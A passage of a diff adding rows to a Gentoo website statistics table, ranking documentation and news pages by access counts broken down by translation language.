+<tr><ti>188.</ti><ti><uri link='/doc/en/gentoo-sparc-netboot-howto.xml'>/doc/**/gentoo-sparc-netboot-howto.xml</uri></ti><ti align='right'>6,655</ti><ti align='right'>4,111</ti><ti align='right'>681</ti><ti align='right'></ti><ti align='right'>548</ti><ti align='right'>589</ti><ti align='right'>293</ti><ti align='right'></ti><ti align='right'>384</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>49</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>189.</ti><ti><uri link='/news/en/gwn/20030407-newsletter.xml'>/news/**/gwn/20030407-newsletter.xml</uri></ti><ti align='right'>6,604</ti><ti align='right'>5,596</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>183</ti><ti align='right'></ti><ti align='right'>138</ti><ti align='right'>146</ti><ti align='right'>194</ti><ti align='right'></ti><ti align='right'>178</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>169</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>190.</ti><ti><uri link='/doc/en/gentoo-sparc-quickinstall.xml'>/doc/**/gentoo-sparc-quickinstall.xml</uri></ti><ti align='right'>6,513</ti><ti align='right'>3,443</ti><ti align='right'>569</ti><ti align='right'>660</ti><ti align='right'>436</ti><ti align='right'>657</ti><ti align='right'>398</ti><ti align='right'></ti><ti align='right'>303</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>47</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>191.</ti><ti><uri link='/doc/en/hpc-howto.xml'>/doc/**/hpc-howto.xml</uri></ti><ti align='right'>6,432</ti><ti align='right'>4,653</ti><ti align='right'>531</ti><ti align='right'></ti><ti align='right'>413</ti><ti align='right'></ti><ti align='right'>309</ti><ti align='right'></ti><ti align='right'>464</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>62</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>192.</ti><ti>/doc/**/colinux-howto.xml</ti><ti align='right'>6,352</ti><ti align='right'></ti><ti align='right'>161</ti><ti align='right'></ti><ti align='right'>422</ti><ti align='right'>347</ti><ti align='right'></ti><ti align='right'>4,485</ti><ti align='right'>490</ti><ti align='right'></ti><ti align='right'>97</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>216</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>96</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>38</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>193.</ti><ti><uri link='/doc/en/portage-utils.xml'>/doc/**/portage-utils.xml</uri></ti><ti align='right'>6,334</ti><ti align='right'>3,592</ti><ti align='right'>565</ti><ti align='right'>491</ti><ti align='right'>434</ti><ti align='right'></ti><ti align='right'>249</ti><ti align='right'>245</ti><ti align='right'>266</ti><ti align='right'>305</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>33</ti><ti align='right'>84</ti><ti align='right'>70</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>194.</ti><ti><uri link='/doc/en/uml.xml'>/doc/**/uml.xml</uri></ti><ti align='right'>6,311</ti><ti align='right'>3,182</ti><ti align='right'>508</ti><ti align='right'></ti><ti align='right'>436</ti><ti align='right'>408</ti><ti align='right'>340</ti><ti align='right'>682</ti><ti align='right'>302</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>186</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>115</ti><ti align='right'></ti><ti align='right'>152</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>195.</ti><ti><uri link='/proj/en/elections/foundation-200802.xml'>/proj/**/elections/foundation-200802.xml</uri></ti><ti align='right'>6,274</ti><ti align='right'>6,274</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>196.</ti><ti><uri link='/proj/en/hardened/primer.xml'>/proj/**/hardened/primer.xml</uri></ti><ti align='right'>6,245</ti><ti align='right'>5,270</ti><ti align='right'>338</ti><ti align='right'></ti><ti align='right'>283</ti><ti align='right'></ti><ti align='right'>174</ti><ti align='right'></ti><ti align='right'>180</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>197.</ti><ti><uri link='/doc/en/openafs.xml'>/doc/**/openafs.xml</uri></ti><ti align='right'>6,230</ti><ti align='right'>3,187</ti><ti align='right'>392</ti><ti align='right'></ti><ti align='right'>315</ti><ti align='right'>439</ti><ti align='right'>206</ti><ti align='right'>1,152</ti><ti align='right'>257</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>142</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>140</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>198.</ti><ti><uri link='/news/20080121-gmn.xml'>/news/20080121-gmn.xml</uri></ti><ti align='right'>6,166</ti><ti align='right'>6,166</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>199.</ti><ti><uri link='/doc/en/handbook/2008.0/handbook-ppc.xml'>/doc/**/handbook/2008.0/handbook-ppc.xml</uri></ti><ti align='right'>6,093</ti><ti align='right'>3,466</ti><ti align='right'>624</ti><ti align='right'>760</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>409</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>834</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>200.</ti><ti><uri link='/doc/en/mips-requirements.xml'>/doc/**/mips-requirements.xml</uri></ti><ti align='right'>6,081</ti><ti align='right'>4,139</ti><ti align='right'>894</ti><ti align='right'>9</ti><ti align='right'>460</ti><ti align='right'></ti><ti align='right'>453</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>126</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
+<tr><ti>201.</ti><ti><uri link='/doc/en/handbook/2008.0/handbook-sparc.xml'>/doc/**/handbook/2008.0/handbook-sparc.xml</uri></ti><ti align='right'>6,078</ti><ti align='right'>3,309</ti><ti align='right'>710</ti><ti align='right'>775</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>693</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>591</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>202.</ti><ti><uri link='/proj/en/apache/doc/upgrading.xml'>/proj/**/apache/doc/upgrading.xml</uri></ti><ti align='right'>6,074</ti><ti align='right'>5,655</ti><ti align='right'>230</ti><ti align='right'>10</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>134</ti><ti align='right'></ti><ti align='right'>45</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>203.</ti><ti><uri link='/news/20080331-release-delayed.xml'>/news/20080331-release-delayed.xml</uri></ti><ti align='right'>6,068</ti><ti align='right'>6,068</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>204.</ti><ti><uri link='/news/20080118-foundation-status.xml'>/news/20080118-foundation-status.xml</uri></ti><ti align='right'>6,054</ti><ti align='right'>6,054</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>205.</ti><ti><uri link='/news/en/gwn/current.xml'>/news/**/gwn/current.xml</uri></ti><ti align='right'>6,025</ti><ti align='right'>2,481</ti><ti align='right'>445</ti><ti align='right'>241</ti><ti align='right'>157</ti><ti align='right'>169</ti><ti align='right'>116</ti><ti align='right'>1,421</ti><ti align='right'>117</ti><ti align='right'>99</ti><ti align='right'>137</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>175</ti><ti align='right'></ti><ti align='right'>109</ti><ti align='right'>77</ti><ti align='right'>73</ti><ti align='right'>100</ti><ti align='right'>108</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>206.</ti><ti><uri link='/news/20080125-2.6.24-kernel.xml'>/news/20080125-2.6.24-kernel.xml</uri></ti><ti align='right'>6,010</ti><ti align='right'>6,010</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>207.</ti><ti><uri link='/doc/en/handbook/2008.0/handbook-ppc64.xml'>/doc/**/handbook/2008.0/handbook-ppc64.xml</uri></ti><ti align='right'>5,994</ti><ti align='right'>3,360</ti><ti align='right'>695</ti><ti align='right'>696</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>482</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>761</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>208.</ti><ti><uri link='/news/20080210-kde-4.0.1.xml'>/news/20080210-kde-4.0.1.xml</uri></ti><ti align='right'>5,839</ti><ti align='right'>5,839</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>209.</ti><ti><uri link='/doc/en/articles/l-awk1.xml'>/doc/**/articles/l-awk1.xml</uri></ti><ti align='right'>5,838</ti><ti align='right'>2,425</ti><ti align='right'>2,111</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>564</ti><ti align='right'></ti><ti align='right'>584</ti><ti align='right'>154</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>210.</ti><ti><uri link='/proj/en/hardened/hardenedfaq.xml'>/proj/**/hardened/hardenedfaq.xml</uri></ti><ti align='right'>5,815</ti><ti align='right'>4,676</ti><ti align='right'>368</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>224</ti><ti align='right'>337</ti><ti align='right'>210</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>211.</ti><ti><uri link='/doc/en/new-upgrade-to-gentoo-1.4.xml'>/doc/**/new-upgrade-to-gentoo-1.4.xml</uri></ti><ti align='right'>5,796</ti><ti align='right'>3,209</ti><ti align='right'>391</ti><ti align='right'></ti><ti align='right'>390</ti><ti align='right'>548</ti><ti align='right'>274</ti><ti align='right'>363</ti><ti align='right'>320</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>89</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>93</ti><ti align='right'></ti><ti align='right'>63</ti><ti align='right'></ti><ti align='right'>55</ti><ti align='right'></ti><ti align='right'>1</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>212.</ti><ti><uri link='/doc/en/apache-troubleshooting.xml'>/doc/**/apache-troubleshooting.xml</uri></ti><ti align='right'>5,716</ti><ti align='right'>2,890</ti><ti align='right'>654</ti><ti align='right'>390</ti><ti align='right'>615</ti><ti align='right'></ti><ti align='right'>331</ti><ti align='right'></ti><ti align='right'>439</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>88</ti><ti align='right'>309</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>213.</ti><ti><uri link='/proj/en/qa/backtraces.xml'>/proj/**/qa/backtraces.xml</uri></ti><ti align='right'>5,652</ti><ti align='right'>4,877</ti><ti align='right'>436</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>339</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>214.</ti><ti><uri link='/doc/en/articles/bash-by-example-p3.xml'>/doc/**/articles/bash-by-example-p3.xml</uri></ti><ti align='right'>5,638</ti><ti align='right'>2,478</ti><ti align='right'>1,698</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>688</ti><ti align='right'></ti><ti align='right'>774</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>215.</ti><ti><uri link='/proj/en/releng/installer/index.xml'>/proj/**/releng/installer/index.xml</uri></ti><ti align='right'>5,584</ti><ti align='right'>5,584</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>216.</ti><ti><uri link='/doc/en/bugzilla-howto.xml'>/doc/**/bugzilla-howto.xml</uri></ti><ti align='right'>5,555</ti><ti align='right'>4,141</ti><ti align='right'>344</ti><ti align='right'></ti><ti align='right'>141</ti><ti align='right'></ti><ti align='right'>309</ti><ti align='right'></ti><ti align='right'>352</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>145</ti><ti align='right'>123</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>217.</ti><ti><uri link='/doc/en/gentoo-sparc-obpreference.xml'>/doc/**/gentoo-sparc-obpreference.xml</uri></ti><ti align='right'>5,554</ti><ti align='right'>3,425</ti><ti align='right'>480</ti><ti align='right'></ti><ti align='right'>538</ti><ti align='right'>354</ti><ti align='right'>370</ti><ti align='right'></ti><ti align='right'>387</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>218.</ti><ti><uri link='/doc/en/articles/l-sed3.xml'>/doc/**/articles/l-sed3.xml</uri></ti><ti align='right'>5,485</ti><ti align='right'>2,881</ti><ti align='right'>1,403</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>552</ti><ti align='right'></ti><ti align='right'>649</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>219.</ti><ti><uri link='/proj/en/releng/meetings/20080123_initial_2008.0_summary.txt'>/proj/**/releng/meetings/20080123_initial_2008.0_summary.txt</uri></ti><ti align='right'>5,401</ti><ti align='right'>5,401</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>220.</ti><ti><uri link='/proj/en/vps/vserver-howto.xml'>/proj/**/vps/vserver-howto.xml</uri></ti><ti align='right'>5,327</ti><ti align='right'>4,331</ti><ti align='right'>521</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>232</ti><ti align='right'></ti><ti align='right'>243</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
+<tr><ti>221.</ti><ti><uri link='/news/20080204-digest-files-removed.xml'>/news/20080204-digest-files-removed.xml</uri></ti><ti align='right'>5,322</ti><ti align='right'>5,322</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>222.</ti><ti><uri link='/proj/en/gentoo-alt/bsd/fbsd/index.xml'>/proj/**/gentoo-alt/bsd/fbsd/index.xml</uri></ti><ti align='right'>5,312</ti><ti align='right'>5,312</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>223.</ti><ti><uri link='/doc/en/articles/dynamic-iptables-firewalls.xml'>/doc/**/articles/dynamic-iptables-firewalls.xml</uri></ti><ti align='right'>5,092</ti><ti align='right'>2,809</ti><ti align='right'>1,334</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>489</ti><ti align='right'></ti><ti align='right'>460</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
